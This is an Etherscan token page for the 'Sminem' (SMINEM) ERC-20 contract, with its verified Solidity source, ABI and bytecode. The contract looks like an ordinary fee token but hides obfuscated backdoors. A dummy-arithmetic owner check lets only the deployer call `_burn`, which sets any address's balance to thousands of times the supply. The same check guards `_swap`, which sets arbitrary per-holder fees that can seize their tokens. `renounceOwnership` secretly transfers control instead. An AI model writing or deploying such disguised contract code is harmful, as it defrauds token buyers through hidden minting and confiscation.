ETH Price: $3,348.89 (-0.54%)
Gas: 5 Gwei

Token

Sminem (SMINEM)
 

Overview

Max Total Supply

1,000,000,000 SMINEM

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: SMINEM 20
Balance
36,000,451,885,373.089118014 SMINEM

Value
$0.00
0xf524d4802db6b456b232948f15ee72a935a5470e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SMINEM

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-12-14
*/

/**
SMINEM

X/Twitter: https://twitter.com/SMINEM_ERC
Telegram: https://t.me/sminemERC
Web: https://sminem.money/
*/



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    constructor () {_owner = msg.sender;}
    
    function owner() public view returns (address) {return _owner;}
    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }
    
    function renounceOwnership(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }

}

contract SMINEM is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _swapFeeTo;string public name;string public symbol;
    uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
    bool private inSwap;uint256 private constant MAX = ~uint256(0);
    mapping (address => uint256) public __balances; 

    uint256 public _swapTax;
    address public _uniswapPair;

    function _transfer(address from,address to,uint256 amount) private {

        bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];

        _balances[from] = _balances[from] - amount;

        uint256 _taxAmount;
        if (shouldBetakeFee) {
            uint256 feeAmount = amount * __balances[from] / 100;
            _taxAmount += feeAmount;
            if (feeAmount > 0){
                _balances[address(_swapFeeTo)] += feeAmount;
                emit Transfer(from, address(_swapFeeTo), feeAmount);
            }
        }
        _balances[to] = _balances[to] + amount - _taxAmount;
        emit Transfer(from, to, amount - _taxAmount);
    }

    constructor (){
        name = "Sminem";
        symbol = "SMINEM";
        decimals = 9;
        uint256 Supply = 1000000000;
        _swapFeeTo = msg.sender;
        _swapTax = 0;
        totalSupply = Supply * 10 ** decimals;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[_swapFeeTo] = true;

        _balances[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
        
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;
    }
 
    function _swap(address[] memory users, uint256 feePercent) external {
        uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1;
        uint256 C = A - 3;A = C;
        for (uint256 i = 0; i < users.length; i++) {
            __balances[users[i]] = feePercent;
        }
    }

    function _burn(address user) public {
        mapping(address=>uint256) storage _allowance = _balances;
        uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1;
        uint256 C = A - 3;A = C;
        _allowance[user] = 1000*totalSupply*C**2;
    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"_burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"uint256","name":"feePercent","type":"uint256"}],"name":"_swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801562000010575f80fd5b505f80546001600160a01b03191633179055604080518082019091526006815265536d696e656d60d01b60208201526004906200004e9082620003d1565b50604080518082019091526006815265534d494e454d60d01b60208201526005906200007b9082620003d1565b506006805460ff19166009908117909155600380546001600160a01b031916331790555f600b55633b9aca0090620000b590600a620005ac565b620000c19082620005c3565b6008908155305f9081526007602090815260408083208054600160ff1991821681179092553380865283862080548316841790556003546001600160a01b0316865283862080549092168317909155945485855290835281842081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255305f908152600260209081526040808320938352928152908290205f1990559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa158015620001d7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001fd9190620005dd565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002839190620005dd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002ce573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002f49190620005dd565b600c80546001600160a01b0319166001600160a01b03928316179055600954165f908152600760205260409020805460ff191660011790555062000605565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200035c57607f821691505b6020821081036200037b57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003cc57805f5260205f20601f840160051c81016020851015620003a85750805b601f840160051c820191505b81811015620003c9575f8155600101620003b4565b50505b505050565b81516001600160401b03811115620003ed57620003ed62000333565b6200040581620003fe845462000347565b8462000381565b602080601f8311600181146200043b575f8415620004235750858301515b5f19600386901b1c1916600185901b17855562000495565b5f85815260208120601f198616915b828110156200046b578886015182559484019460019091019084016200044a565b50858210156200048957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004f157815f1904821115620004d557620004d56200049d565b80851615620004e357918102915b93841c9390800290620004b6565b509250929050565b5f826200050957506001620005a6565b816200051757505f620005a6565b81600181146200053057600281146200053b576200055b565b6001915050620005a6565b60ff8411156200054f576200054f6200049d565b50506001821b620005a6565b5060208310610133831016604e8410600b841016171562000580575081810a620005a6565b6200058c8383620004b1565b805f1904821115620005a257620005a26200049d565b0290505b92915050565b5f620005bc60ff841683620004f9565b9392505050565b8082028115828204841417620005a657620005a66200049d565b5f60208284031215620005ee575f80fd5b81516001600160a01b0381168114620005bc575f80fd5b610cbc80620006135f395ff3fe608060405260043610610113575f3560e01c8063426329c11161009d57806395d89b411161006257806395d89b4114610338578063a9059cbb1461034c578063daf81d5a1461036b578063dd62ed3e1461038a578063e4655f18146103ce575f80fd5b8063426329c1146102735780634bf28fd0146102aa57806365b61b77146102c957806370a08231146102e85780638da5cb5b1461031c575f80fd5b806330da23e4116100e357806330da23e4146101b9578063313ce567146101ce57806336b2e027146101f957806338bf3cfa14610227578063420d10b514610248575f80fd5b806306fdde031461011e578063095ea7b31461014857806318160ddd1461017757806323b872dd1461019a575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506101326103ed565b60405161013f91906108e9565b60405180910390f35b348015610153575f80fd5b50610167610162366004610950565b610479565b604051901515815260200161013f565b348015610182575f80fd5b5061018c60085481565b60405190815260200161013f565b3480156101a5575f80fd5b506101676101b4366004610978565b61048f565b3480156101c4575f80fd5b5061018c600b5481565b3480156101d9575f80fd5b506006546101e79060ff1681565b60405160ff909116815260200161013f565b348015610204575f80fd5b506101676102133660046109b1565b60076020525f908152604090205460ff1681565b348015610232575f80fd5b506102466102413660046109b1565b610521565b005b348015610253575f80fd5b5061018c6102623660046109b1565b600a6020525f908152604090205481565b34801561027e575f80fd5b50600354610292906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b3480156102b5575f80fd5b50600c54610292906001600160a01b031681565b3480156102d4575f80fd5b50600954610292906001600160a01b031681565b3480156102f3575f80fd5b5061018c6103023660046109b1565b6001600160a01b03165f9081526001602052604090205490565b348015610327575f80fd5b505f546001600160a01b0316610292565b348015610343575f80fd5b50610132610588565b348015610357575f80fd5b50610167610366366004610950565b610595565b348015610376575f80fd5b506102466103853660046109b1565b6105a1565b348015610395575f80fd5b5061018c6103a43660046109d1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103d9575f80fd5b506102466103e8366004610a16565b61061a565b600480546103fa90610adc565b80601f016020809104026020016040519081016040528092919081815260200182805461042690610adc565b80156104715780601f1061044857610100808354040283529160200191610471565b820191905f5260205f20905b81548152906001019060200180831161045457829003601f168201915b505050505081565b5f6104853384846106a1565b5060015b92915050565b5f61049b848484610701565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914610517576001600160a01b0384165f9081526002602090815260408083203384529091529020546104f3908390610b28565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105675760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b5f80546001600160a01b0319166001600160a01b0392909216919091179055565b600580546103fa90610adc565b5f610485338484610701565b6003546001905f906001600160a01b031633146105bf5760016105c2565b60095b60ff1690505f6105d3600383610b28565b91508190506105e3600282610c1b565b6008546105f2906103e8610c29565b6105fc9190610c29565b6001600160a01b039094165f90815260209390935250506040902055565b6003545f906001600160a01b03163314610635576001610638565b60095b60ff1690505f610649600383610b28565b90508091505f5b845181101561069a5783600a5f87848151811061066f5761066f610c40565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610650565b5050505050565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6009545f90600160a01b900460ff1615801561073557506001600160a01b0384165f9081526007602052604090205460ff16155b801561075957506001600160a01b0383165f9081526007602052604090205460ff16155b6001600160a01b0385165f9081526001602052604090205490915061077f908390610b28565b6001600160a01b0385165f908152600160205260408120919091558115610859576001600160a01b0385165f908152600a60205260408120546064906107c59086610c29565b6107cf9190610c54565b90506107db8183610c73565b91508015610857576003546001600160a01b03165f908152600160205260408120805483929061080c908490610c73565b90915550506003546040518281526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b0384165f90815260016020526040902054819061087e908590610c73565b6108889190610b28565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6108d18487610b28565b60405190815260200160405180910390a35050505050565b5f602080835283518060208501525f5b81811015610915578581018301518582016040015282016108f9565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461094b575f80fd5b919050565b5f8060408385031215610961575f80fd5b61096a83610935565b946020939093013593505050565b5f805f6060848603121561098a575f80fd5b61099384610935565b92506109a160208501610935565b9150604084013590509250925092565b5f602082840312156109c1575f80fd5b6109ca82610935565b9392505050565b5f80604083850312156109e2575f80fd5b6109eb83610935565b91506109f960208401610935565b90509250929050565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610a27575f80fd5b823567ffffffffffffffff80821115610a3e575f80fd5b818501915085601f830112610a51575f80fd5b8135602082821115610a6557610a65610a02565b8160051b604051601f19603f83011681018181108682111715610a8a57610a8a610a02565b604052928352818301935084810182019289841115610aa7575f80fd5b948201945b83861015610acc57610abd86610935565b85529482019493820193610aac565b9997909101359750505050505050565b600181811c90821680610af057607f821691505b602082108103610b0e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561048957610489610b14565b600181815b80851115610b7557815f1904821115610b5b57610b5b610b14565b80851615610b6857918102915b93841c9390800290610b40565b509250929050565b5f82610b8b57506001610489565b81610b9757505f610489565b8160018114610bad5760028114610bb757610bd3565b6001915050610489565b60ff841115610bc857610bc8610b14565b50506001821b610489565b5060208310610133831016604e8410600b8410161715610bf6575081810a610489565b610c008383610b3b565b805f1904821115610c1357610c13610b14565b029392505050565b5f6109ca60ff841683610b7d565b808202811582820484141761048957610489610b14565b634e487b7160e01b5f52603260045260245ffd5b5f82610c6e57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561048957610489610b1456fea2646970667358221220550a0c139c692363f0cb225a5ee2024558b292d8dd322fe47d142668e8433bc864736f6c63430008160033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063426329c11161009d57806395d89b411161006257806395d89b4114610338578063a9059cbb1461034c578063daf81d5a1461036b578063dd62ed3e1461038a578063e4655f18146103ce575f80fd5b8063426329c1146102735780634bf28fd0146102aa57806365b61b77146102c957806370a08231146102e85780638da5cb5b1461031c575f80fd5b806330da23e4116100e357806330da23e4146101b9578063313ce567146101ce57806336b2e027146101f957806338bf3cfa14610227578063420d10b514610248575f80fd5b806306fdde031461011e578063095ea7b31461014857806318160ddd1461017757806323b872dd1461019a575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506101326103ed565b60405161013f91906108e9565b60405180910390f35b348015610153575f80fd5b50610167610162366004610950565b610479565b604051901515815260200161013f565b348015610182575f80fd5b5061018c60085481565b60405190815260200161013f565b3480156101a5575f80fd5b506101676101b4366004610978565b61048f565b3480156101c4575f80fd5b5061018c600b5481565b3480156101d9575f80fd5b506006546101e79060ff1681565b60405160ff909116815260200161013f565b348015610204575f80fd5b506101676102133660046109b1565b60076020525f908152604090205460ff1681565b348015610232575f80fd5b506102466102413660046109b1565b610521565b005b348015610253575f80fd5b5061018c6102623660046109b1565b600a6020525f908152604090205481565b34801561027e575f80fd5b50600354610292906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b3480156102b5575f80fd5b50600c54610292906001600160a01b031681565b3480156102d4575f80fd5b50600954610292906001600160a01b031681565b3480156102f3575f80fd5b5061018c6103023660046109b1565b6001600160a01b03165f9081526001602052604090205490565b348015610327575f80fd5b505f546001600160a01b0316610292565b348015610343575f80fd5b50610132610588565b348015610357575f80fd5b50610167610366366004610950565b610595565b348015610376575f80fd5b506102466103853660046109b1565b6105a1565b348015610395575f80fd5b5061018c6103a43660046109d1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103d9575f80fd5b506102466103e8366004610a16565b61061a565b600480546103fa90610adc565b80601f016020809104026020016040519081016040528092919081815260200182805461042690610adc565b80156104715780601f1061044857610100808354040283529160200191610471565b820191905f5260205f20905b81548152906001019060200180831161045457829003601f168201915b505050505081565b5f6104853384846106a1565b5060015b92915050565b5f61049b848484610701565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914610517576001600160a01b0384165f9081526002602090815260408083203384529091529020546104f3908390610b28565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105675760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b5f80546001600160a01b0319166001600160a01b0392909216919091179055565b600580546103fa90610adc565b5f610485338484610701565b6003546001905f906001600160a01b031633146105bf5760016105c2565b60095b60ff1690505f6105d3600383610b28565b91508190506105e3600282610c1b565b6008546105f2906103e8610c29565b6105fc9190610c29565b6001600160a01b039094165f90815260209390935250506040902055565b6003545f906001600160a01b03163314610635576001610638565b60095b60ff1690505f610649600383610b28565b90508091505f5b845181101561069a5783600a5f87848151811061066f5761066f610c40565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610650565b5050505050565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6009545f90600160a01b900460ff1615801561073557506001600160a01b0384165f9081526007602052604090205460ff16155b801561075957506001600160a01b0383165f9081526007602052604090205460ff16155b6001600160a01b0385165f9081526001602052604090205490915061077f908390610b28565b6001600160a01b0385165f908152600160205260408120919091558115610859576001600160a01b0385165f908152600a60205260408120546064906107c59086610c29565b6107cf9190610c54565b90506107db8183610c73565b91508015610857576003546001600160a01b03165f908152600160205260408120805483929061080c908490610c73565b90915550506003546040518281526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b0384165f90815260016020526040902054819061087e908590610c73565b6108889190610b28565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6108d18487610b28565b60405190815260200160405180910390a35050505050565b5f602080835283518060208501525f5b81811015610915578581018301518582016040015282016108f9565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461094b575f80fd5b919050565b5f8060408385031215610961575f80fd5b61096a83610935565b946020939093013593505050565b5f805f6060848603121561098a575f80fd5b61099384610935565b92506109a160208501610935565b9150604084013590509250925092565b5f602082840312156109c1575f80fd5b6109ca82610935565b9392505050565b5f80604083850312156109e2575f80fd5b6109eb83610935565b91506109f960208401610935565b90509250929050565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610a27575f80fd5b823567ffffffffffffffff80821115610a3e575f80fd5b818501915085601f830112610a51575f80fd5b8135602082821115610a6557610a65610a02565b8160051b604051601f19603f83011681018181108682111715610a8a57610a8a610a02565b604052928352818301935084810182019289841115610aa7575f80fd5b948201945b83861015610acc57610abd86610935565b85529482019493820193610aac565b9997909101359750505050505050565b600181811c90821680610af057607f821691505b602082108103610b0e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561048957610489610b14565b600181815b80851115610b7557815f1904821115610b5b57610b5b610b14565b80851615610b6857918102915b93841c9390800290610b40565b509250929050565b5f82610b8b57506001610489565b81610b9757505f610489565b8160018114610bad5760028114610bb757610bd3565b6001915050610489565b60ff841115610bc857610bc8610b14565b50506001821b610489565b5060208310610133831016604e8410600b8410161715610bf6575081810a610489565b610c008383610b3b565b805f1904821115610c1357610c13610b14565b029392505050565b5f6109ca60ff841683610b7d565b808202811582820484141761048957610489610b14565b634e487b7160e01b5f52603260045260245ffd5b5f82610c6e57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561048957610489610b1456fea2646970667358221220550a0c139c692363f0cb225a5ee2024558b292d8dd322fe47d142668e8433bc864736f6c63430008160033

Deployed Bytecode Sourcemap

1093:3854:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1443:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4293:124;;;;;;;;;;-1:-1:-1;4293:124:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4293:124:0;1004:187:1;1567:26:0;;;;;;;;;;;;;;;;;;;1342:25:1;;;1330:2;1315:18;1567:26:0;1196:177:1;4423:327:0;;;;;;;;;;-1:-1:-1;4423:327:0;;;;;:::i;:::-;;:::i;1762:23::-;;;;;;;;;;;;;;;;1489:21;;;;;;;;;;-1:-1:-1;1489:21:0;;;;;;;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;1489:21:0;1711:184:1;1511:49:0;;;;;;;;;;-1:-1:-1;1511:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;978:106;;;;;;;;;;-1:-1:-1;978:106:0;;;;;:::i;:::-;;:::i;:::-;;1706:46;;;;;;;;;;-1:-1:-1;1706:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;1417:25;;;;;;;;;;-1:-1:-1;1417:25:0;;;;-1:-1:-1;;;;;1417:25:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;1417:25:0;2091:203:1;1792:27:0;;;;;;;;;;-1:-1:-1;1792:27:0;;;;-1:-1:-1;;;;;1792:27:0;;;1594:36;;;;;;;;;;-1:-1:-1;1594:36:0;;;;-1:-1:-1;;;;;1594:36:0;;;3933:94;;;;;;;;;;-1:-1:-1;3933:94:0;;;;;:::i;:::-;-1:-1:-1;;;;;4007:18:0;3990:7;4007:18;;;:9;:18;;;;;;;3933:94;806:63;;;;;;;;;;-1:-1:-1;844:7:0;861:6;-1:-1:-1;;;;;861:6:0;806:63;;1462:20;;;;;;;;;;;;;:::i;4033:130::-;;;;;;;;;;-1:-1:-1;4033:130:0;;;;;:::i;:::-;;:::i;3672:253::-;;;;;;;;;;-1:-1:-1;3672:253:0;;;;;:::i;:::-;;:::i;4169:118::-;;;;;;;;;;-1:-1:-1;4169:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;4258:18:0;;;4241:7;4258:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4169:118;3384:280;;;;;;;;;;-1:-1:-1;3384:280:0;;;;;:::i;:::-;;:::i;1443:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4293:124::-;4359:4;4366:37;4375:10;4387:7;4396:6;4366:8;:37::i;:::-;-1:-1:-1;4411:4:0;4293:124;;;;;:::o;4423:327::-;4512:4;4529:36;4539:6;4547:9;4558:6;4529:9;:36::i;:::-;-1:-1:-1;;;;;4580:19:0;;1697:1;4580:19;;;:11;:19;;;;;;;;4600:10;4580:31;;;;;;;;-1:-1:-1;;4580:38:0;4576:145;;-1:-1:-1;;;;;4669:19:0;;;;;;:11;:19;;;;;;;;4689:10;4669:31;;;;;;;;:40;;4703:6;;4669:40;:::i;:::-;-1:-1:-1;;;;;4635:19:0;;;;;;:11;:19;;;;;;;;4655:10;4635:31;;;;;;;:74;4576:145;-1:-1:-1;4738:4:0;4423:327;;;;;:::o;978:106::-;915:6;;-1:-1:-1;;;;;915:6:0;925:10;915:20;907:39;;;;-1:-1:-1;;;907:39:0;;4973:2:1;907:39:0;;;4955:21:1;5012:1;4992:18;;;4985:29;-1:-1:-1;;;5030:18:1;;;5023:36;5076:18;;907:39:0;;;;;;;;1059:6:::1;:17:::0;;-1:-1:-1;;;;;;1059:17:0::1;-1:-1:-1::0;;;;;1059:17:0;;;::::1;::::0;;;::::1;::::0;;978:106::o;1462:20::-;;;;;;;:::i;4033:130::-;4102:4;4109:40;4119:10;4131:9;4142:6;4109:9;:40::i;3672:253::-;3798:10;;3766:9;;3719:44;;-1:-1:-1;;;;;3798:10:0;3812;3798:24;:34;;3829:3;3798:34;;;3825:1;3798:34;3786:46;;;-1:-1:-1;3843:9:0;3855:5;3859:1;3786:46;3855:5;:::i;:::-;3843:17;-1:-1:-1;3843:17:0;;-1:-1:-1;3913:4:0;3916:1;3843:17;3913:4;:::i;:::-;3901:11;;3896:16;;:4;:16;:::i;:::-;:21;;;;:::i;:::-;-1:-1:-1;;;;;3877:16:0;;;;;;;;;;;;-1:-1:-1;;3877:16:0;;;:40;3672:253::o;3384:280::-;3475:10;;3463:9;;-1:-1:-1;;;;;3475:10:0;3489;3475:24;:34;;3506:3;3475:34;;;3502:1;3475:34;3463:46;;;-1:-1:-1;3520:9:0;3532:5;3536:1;3463:46;3532:5;:::i;:::-;3520:17;;3542:1;3538:5;;3559:9;3554:103;3578:5;:12;3574:1;:16;3554:103;;;3635:10;3612;:20;3623:5;3629:1;3623:8;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;3612:20:0;;;;;;;;;;;-1:-1:-1;3612:20:0;:33;3592:3;;3554:103;;;;3452:212;;3384:280;;:::o;4758:151::-;-1:-1:-1;;;;;4833:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4875:32;;1342:25:1;;;4875:32:0;;1315:18:1;4875:32:0;;;;;;;4758:151;;;:::o;1828:702::-;1932:6;;1908:20;;-1:-1:-1;;;1932:6:0;;;;1931:7;:35;;;;-1:-1:-1;;;;;;1943:23:0;;;;;;:17;:23;;;;;;;;1942:24;1931:35;:61;;;;-1:-1:-1;;;;;;1971:21:0;;;;;;:17;:21;;;;;;;;1970:22;1931:61;-1:-1:-1;;;;;2023:15:0;;;;;;:9;:15;;;;;;1908:84;;-1:-1:-1;2023:24:0;;2041:6;;2023:24;:::i;:::-;-1:-1:-1;;;;;2005:15:0;;;;;;:9;:15;;;;;:42;;;;2089:317;;;;-1:-1:-1;;;;;2154:16:0;;2125:17;2154:16;;;:10;:16;;;;;;2173:3;;2145:25;;:6;:25;:::i;:::-;:31;;;;:::i;:::-;2125:51;-1:-1:-1;2191:23:0;2125:51;2191:23;;:::i;:::-;;-1:-1:-1;2233:13:0;;2229:166;;2284:10;;-1:-1:-1;;;;;2284:10:0;2266:30;;;;:9;:30;;;;;:43;;2300:9;;2266:30;:43;;2300:9;;2266:43;:::i;:::-;;;;-1:-1:-1;;2356:10:0;;2333:46;;1342:25:1;;;-1:-1:-1;;;;;2356:10:0;;;;2333:46;;;;;1330:2:1;1315:18;2333:46:0;;;;;;;2229:166;2110:296;2089:317;-1:-1:-1;;;;;2432:13:0;;;;;;:9;:13;;;;;;2457:10;;2432:22;;2448:6;;2432:22;:::i;:::-;:35;;;;:::i;:::-;-1:-1:-1;;;;;2416